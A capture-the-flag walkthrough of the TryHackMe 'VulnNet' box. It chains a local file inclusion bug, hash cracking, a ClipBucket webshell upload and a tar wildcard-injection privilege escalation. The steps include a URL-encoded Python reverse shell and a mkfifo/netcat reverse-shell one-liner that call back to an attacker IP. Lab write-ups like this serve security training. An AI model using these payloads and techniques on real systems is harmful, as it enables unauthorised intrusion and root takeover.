Intro

In VulnNet we’ll enumerate a corporate website and learn of another hidden app hosted on a subdomain. By exploiting an LFI vulnerability on the first site we will leak credentials for the other. After cracking the hash we can authenticate and see what’s hiding on the subdomain. We’ll quickly find the app has public exploits available that can be used to upload a file on to our target and spawn a reverse shell. Finally, with a bit of enumeration on the machine we’ll find a way use wildcard injection to exploit a command in a job that is owned by root and escalate to a root shell.

Recon

Before we get started you’ll need to add this box’s domain to your local DNS cache. Edit /etc/hosts and add a line pointing your target’s IP to the vulnnet.thm domain.

rustscan -a 10.10.199.179 -- -sC -sV -oA nmap1

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ea:c9:e8:67:76:0a:3f:97:09:a7:d7:a6:63:ad:c1:2c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwkZ4lon+5ZNgVQmItwLRcbDT9QrJJGvPrfqsbAnwk4dgPz1GDjIg+RwRIZIwPGRPpyvd01W1vh0BNs7Uh9f5RVuojlLxjqsN1876Jvt5Ma7ajC49lzxmtI8B5Vmwxx9cRA8JBvENm0+BTsDjpaj3JWllRffhD25Az/F1Tz3fSua1GiR7R2eEKSMrD38+QGG22AlrCNHvunCJkPmYH9LObHq9uSZ5PbJmqR3Yl3SJarCZ6zsKBG5Ka/xJL17QUB5o6ZRHgpw/pmw+JKWUkodIwPe4hCVH0dQkfVAATjlx9JXH95h4EPmKPvZuqHZyGUPE5jPiaNg6YCNCtexw5Wo41
|   256 0f:c8:f6:d3:8e:4c:ea:67:47:68:84:dc:1c:2b:2e:34 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA8L+SEmXtvfURdTRsmhaay/VJTFJzXYlU/0uKlPAtdpyZ8qaI55EQYPwcPMIbvyYtZM37Bypg0Uf7Sa8i1aTKk=
|   256 05:53:99:fc:98:10:b5:c3:68:00:6c:29:41:da:a5:c9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKNuqHl39hJpIduBG9J7QwetpgO1PWQSUDL/rvjXPiWw
80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 8B7969B10EDA5D739468F4D3F2296496
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: VulnNet
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Let’s take a look at what’s serving on port 80:

VulnNet Entertainment Homepage

Looks like a simple corporate site for VulnNet Entertainment. Let’s go ahead and kick off a content scan while we poke around manually.

ffuf -t 80 -u http://10.10.199.179/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .php,.txt,.html

img                     [Status: 301, Size: 312, Words: 20, Lines: 10]
login.html              [Status: 200, Size: 2479, Words: 633, Lines: 70]
index.php               [Status: 200, Size: 5829, Words: 1689, Lines: 142]
css                     [Status: 301, Size: 312, Words: 20, Lines: 10]
js                      [Status: 301, Size: 311, Words: 20, Lines: 10]
fonts                   [Status: 301, Size: 314, Words: 20, Lines: 10]
LICENSE.txt             [Status: 200, Size: 1109, Words: 208, Lines: 26]

We can view source the index page and in one of the site’s javascript files references a subdomain: broadcast.vulnnet.thm

Investigating JS files in Devtools

This will also need to be added to our /etc/hosts file so requests will resolve.

┌──(brian㉿kali)-[/usr/share/wordlists/dirb]
└─$ curl -i http://broadcast.vulnnet.thm
HTTP/1.1 401 Unauthorized
Date: Thu, 27 May 2021 12:14:02 GMT
Server: Apache/2.4.29 (Ubuntu)
WWW-Authenticate: Basic realm="Restricted Content"
Content-Length: 468
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested.  Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at broadcast.vulnnet.thm Port 80</address>
</body></html>

So this is a live virutal hosts but it requires authentication for access.

In the other javascript file we can see that index.php accepts a query parameter referer:

Investigating JS files in Devtools reveals a vulnerable query parameter

Local file inclusion bugs are common in PHP applications so when you see a parameter like this, it’s a good idea to test for that.

If we make a request to /index.php?referer=/etc/passwd we can confirm we do indeed have LFI.

LFI Proof of concept

Now we can start searching for a way to get a shell, but first let’s examine the code for index.php and find the bug we just exploited. This will help us get a better understanding of how to navigate the system.

To do this we will need to use a PHP stream filter to base64 encode the content, otherwise we won’t see any output since the web server will execute the PHP code.

GET /index.php?referer=php://filter/convert.base64-encode/resource=index.php HTTP/1.1

At the bottom of the response we’ll see the long encoded content, and after decoding it we can see how the referer parameter works:

<?php
$file = $_GET['referer'];
$filter = str_replace('../','',$file);
include($filter);
?>

Here we can see that any occurrence of ../ in the value of referer gets replaced with an empty string. We can get around this by using ....// to traverse up the filesystem, and we can also use absolute paths.

Since we know there are at least 2 virtual hosts running on Apache, let’s poke around Apache’s config directory to see how those are set up:

GET /index.php?referer=/etc/apache2/sites-enabled/000-default.conf HTTP/1.1
<VirtualHost *:80>
	ServerAdmin webmaster@localhost
	ServerName vulnnet.thm
	DocumentRoot /var/www/main
	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
	<Directory /var/www/main>
		Order allow,deny
		allow from all
	</Directory>
</VirtualHost>

<VirtualHost *:80>
	ServerAdmin webmaster@localhost
	ServerName broadcast.vulnnet.thm
	DocumentRoot /var/www/html
	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
	<Directory /var/www/html>
		Order allow,deny
		allow from all
		AuthType Basic
		AuthName "Restricted Content"
		AuthUserFile /etc/apache2/.htpasswd
		Require valid-user
	</Directory>
</VirtualHost>

In the broadcast.vulnnet.thm vhost we can see the credentials are stored in /etc/apache2/.htpasswd.

developers:$apr1$REDACTED

We can save this in a file and run john to crack it:

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/VulnNet]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
REDACTED   (developers)
1g 0:00:00:11 DONE (2021-05-27 10:23) 0.08726g/s 188582p/s 188582c/s 188582C/s 9982..99686420
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Now that we have the password we can check out the broadcast site in a browser and authenticate with these credentials. It is an application called ClipBucket v4.0.

ClipBucket 4.0

If we searchsploit clipbucket we’ll see there is an exploit available for this version, if it is newer than release 4902.

Getting a Shell

Let’s try to exploit the arbitrary file upload vulnerability to upload a webshell.

┌──(brian㉿kali)-[/usr/share/webshells/php]
└─$ curl -i -u developers:REDACTED -F "file=@simple-backdoor.php" -F "plupload=1" -F "name=shell.php" http://broadcast.vulnnet.thm/actions/photo_uploader.php
HTTP/1.1 200 OK
Date: Sun, 30 May 2021 14:33:52 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=qmmrocq1fr48e698fr5266pmae; expires=Mon, 31-May-2021 14:33:52 GMT; Max-Age=86400; path=/
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Last-Modified: Sun, 30 May 2021 14:33:52 GMT
Cache-Control: post-check=0, pre-check=0
Vary: Accept-Encoding
Content-Length: 99
Content-Type: text/html; charset=UTF-8

{"success":"yes","file_name":"16223852328ec6a9","extension":"php","file_directory":"2021\/05\/30"}

It uploaded successfully! Now we need to figure out the URL to access our shell.

We could continue using the LFI bug to search through the codebase, but it’s also available on GitHub which will be much easier and faster.

To start we can check out photo_uploader.php. It is mostly a large switch statement but since we passed in plupload=1 with the request we can jump straight into that case.

On line 337 we see what looks like the line from the output in the response.

echo json_encode( array("success"=>"yes","file_name"=>$filename, "extension" => getExt( $filePath ), "file_directory" => $directory ) );

From here we can work backwards to find where $directory gets set.

$targetDir = PHOTOS_DIR;
$directory = create_dated_folder( PHOTOS_DIR );
$targetDir .= '/'.$directory;

In lines 215-217 we see the base of our upload path is stored in a constant PHOTOS_DIR which must be included from another file. So we can search the repository for that string and see it is created in includes/common.php

# PHOTOS DETAILS
define('PHOTOS_DIR',FILES_DIR."/photos");
define('PHOTOS_URL',FILES_URL."/photos");

Further up in the same file we’ll see where FILES_DIR is set:

# DIRECT PATHS OF VIDEO FILES
define('FILES_DIR',BASEDIR.'/files');

Now we have all the info we need to construct a URL and test the webshell.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/VulnNet]
└─$ curl -i -u developers:REDACTED http://broadcast.vulnnet.thm/files/photos/2021/05/30/16223852328ec6a9.php?cmd=id
HTTP/1.1 200 OK
Date: Sun, 30 May 2021 14:37:54 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 125
Content-Type: text/html; charset=UTF-8

<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>

And with this double-URL encoded Python payload we can catch a reverse shell after we open a netcat listener:

nc -nlvp 4444

GET /files/photos/2021/05/30/16223852328ec6a9.php?cmd=python3%20-c%20'import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.6.48.252%22%2C4444))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bimport%20pty%3B%20pty.spawn(%22%2Fbin%2Fbash%22)' HTTP/1.1

User Flag

We can search for user.txt and get no results, so the www-data user must not have permission to read it.

If we look at /etc/crontab we’ll find a job running as root every 2 minutes: /var/opt/backupsrv.sh

#!/bin/bash

# Where to backup to.
dest="/var/backups"

# What to backup.
cd /home/server-management/Documents
backup_files="*"

# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

# Print end status message.
echo
echo "Backup finished"
date

# Long listing of files in $dest to check file sizes.
ls -lh $dest

This tells us we can find the backup files in /var/backups.

drwxr-xr-x  2 root              root                 4096 May 30 15:57 .
drwxr-xr-x 14 root              root                 4096 Jan 23 14:20 ..
-rw-r--r--  1 root              root                51200 Jan 23 14:07 alternatives.tar.0
...
-rw-------  1 root              root                 1831 Jan 23 16:00 passwd.bak
-rw-------  1 root              shadow               1118 Jan 23 22:19 shadow.bak
-rw-rw-r--  1 server-management server-management    1484 Jan 24 14:08 ssh-backup.tar.gz
-rw-r--r--  1 root              root                49338 Jan 25 23:28 vulnnet-Monday.tgz
-rw-r--r--  1 root              root                49338 May 30 17:42 vulnnet-Sunday.tgz

We can copy one to /tmp to extract the contents and explore, but that ends up being a dead end.

However if we do the same for ssh-backup.tar.gz we’ll find something a lot more helpful.

www-data@vulnnet:/var/backups$ cp ssh-backup.tar.gz /tmp && cd /tmp
www-data@vulnnet:/tmp$ tar -xvf ssh-backup.tar.gz
id_rsa

And we scored a private key! ..But it has a passphrase, so let’s transfer it back to our attack machine so we can crack it.

  1. Use Python’s built-in web server to host the file: python3 -m http.server 8888

  2. Download it to our attack box: wget http://10.10.199.179:8888/id_rsa

  3. And upate the permissions: chmod 600 id_rsa

  4. Convert the key to a hash that John The Ripper can understand: python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash

  5. Run john to crack the hash.

    ┌──(brian㉿kali)-[~/…/hacks/tryhackme/VulnNet/loot]
    └─$ john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
    Using default input encoding: UTF-8
    Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
    Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
    Cost 2 (iteration count) is 1 for all loaded hashes
    Will run 2 OpenMP threads
    Note: This format may emit false positives, so it will keep trying even after
    finding a possible candidate.
    Press 'q' or Ctrl-C to abort, almost any other key for status
    REDACTED     (id_rsa)
    1g 0:00:00:06 DONE (2021-05-30 12:01) 0.1607g/s 2305Kp/s 2305Kc/s 2305KC/sa6_123..*7¡Vamos!
    Session completed
    

We can now SSH to the target as the server-management user and grab the user flag.

ssh -i id_rsa server-management@10.10.199.179

server-management@vulnnet:~$ ls -la
total 108
drwxrw---- 18 server-management server-management 4096 Jan 24 14:05 .
drwxr-xr-x  3 root              root              4096 Jan 23 13:58 ..
lrwxrwxrwx  1 root              root                 9 Jan 23 20:49 .bash_history -> /dev/null
-rw-r--r--  1 server-management server-management  220 Jan 23 13:58 .bash_logout
-rw-r--r--  1 server-management server-management 3771 Jan 23 13:58 .bashrc
drwxrwxr-x  8 server-management server-management 4096 May 30 18:02 .cache
drwxrwxr-x 14 server-management server-management 4096 Jan 23 14:03 .config
drwx------  3 server-management server-management 4096 Jan 23 14:03 .dbus
drwx------  2 server-management server-management 4096 Jan 23 14:03 Desktop
-rw-r--r--  1 server-management server-management   26 Jan 23 14:03 .dmrc
drwxr-xr-x  2 server-management server-management 4096 Jan 23 21:55 Documents
drwxr-xr-x  2 server-management server-management 4096 Jan 23 22:14 Downloads
drwx------  3 server-management server-management 4096 Jan 23 14:03 .gnupg
drwxrwxr-x  3 server-management server-management 4096 Jan 23 14:03 .local
drwx------  5 server-management server-management 4096 Jan 23 14:14 .mozilla
drwxr-xr-x  2 server-management server-management 4096 Jan 23 14:03 Music
drwxr-xr-x  2 server-management server-management 4096 Jan 23 14:03 Pictures
-rw-r--r--  1 server-management server-management  807 Jan 23 13:58 .profile
drwxr-xr-x  2 server-management server-management 4096 Jan 23 14:03 Public
drwx------  2 server-management server-management 4096 Jan 24 14:09 .ssh
-rw-r--r--  1 server-management server-management    0 Jan 23 14:04 .sudo_as_admin_successful
drwxr-xr-x  2 server-management server-management 4096 Jan 23 14:03 Templates
drwx------  4 server-management server-management 4096 Jan 23 19:58 .thumbnails
-rw-------  1 server-management server-management   38 Jan 23 22:12 user.txt
drwxr-xr-x  2 server-management server-management 4096 Jan 23 14:03 Videos
-rw-------  1 server-management server-management   52 Jan 24 14:05 .Xauthority
-rw-r--r--  1 server-management server-management   14 Feb 12  2018 .xscreensaver
-rw-------  1 server-management server-management 2586 Jan 24 14:05 .xsession-errors
-rw-------  1 server-management server-management 2586 Jan 23 22:17 .xsession-errors.old
server-management@vulnnet:~$ wc -c user.txt
38 user.txt

Privilege Escalation

Now that we have control over the directory root is backing up, let’s take another look at the script to see if there is anything we can do escalate privileges.

The script is using a wildcard * with the tar command. Since we can write to the directory being archived, we can add empty files with names that tar will interpret as command arguments, and this can be abused to execute commands via tar checkpoints. Since the cronjob runs as root, our commands will as well.

cd ~/Documents
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.6.48.252 4545 >/tmp/f" > shell.sh
chmod +x shell.sh
touch "./--checkpoint-action=exec=sh shell.sh"
touch "./--checkpoint=1"

And back on our attack machine we’ll need to open a netcat listener to catch the shell the next time the job runs.

┌──(brian㉿kali)-[~/Downloads]
└─$ nc -nlvp 4545
listening on [any] 4545 ...
connect to [10.6.48.252] from (UNKNOWN) [10.10.11.138] 59028
bash: cannot set terminal process group (2861): Inappropriate ioctl for device
bash: no job control in this shell
root@vulnnet:/home/server-management/Documents# id
id
uid=0(root) gid=0(root) groups=0(root)
root@vulnnet:/home/server-management/Documents# cd /root
cd /root
root@vulnnet:~# ls -la
ls -la
total 48
drwx------  7 root root 4096 Jan 23 22:13 .
drwxr-xr-x 23 root root 4096 Jan 23 14:09 ..
lrwxrwxrwx  1 root root    9 Jan 23 20:49 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  3 root root 4096 Jan 23 22:06 .cache
drwx------  5 root root 4096 Jan 23 22:06 .config
drwx------  3 root root 4096 Jan 23 22:06 .dbus
drwxr-xr-x  3 root root 4096 Jan 23 20:04 .local
-rw-------  1 root root  547 Jan 23 20:30 .mysql_history
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root    7 Jan 23 14:22 .python_history
-rw-------  1 root root   38 Jan 23 22:13 root.txt
drwx------  4 root root 4096 Jan 23 22:06 .thumbnails
root@vulnnet:~# wc -c root.txt
wc -c root.txt
38 root.txt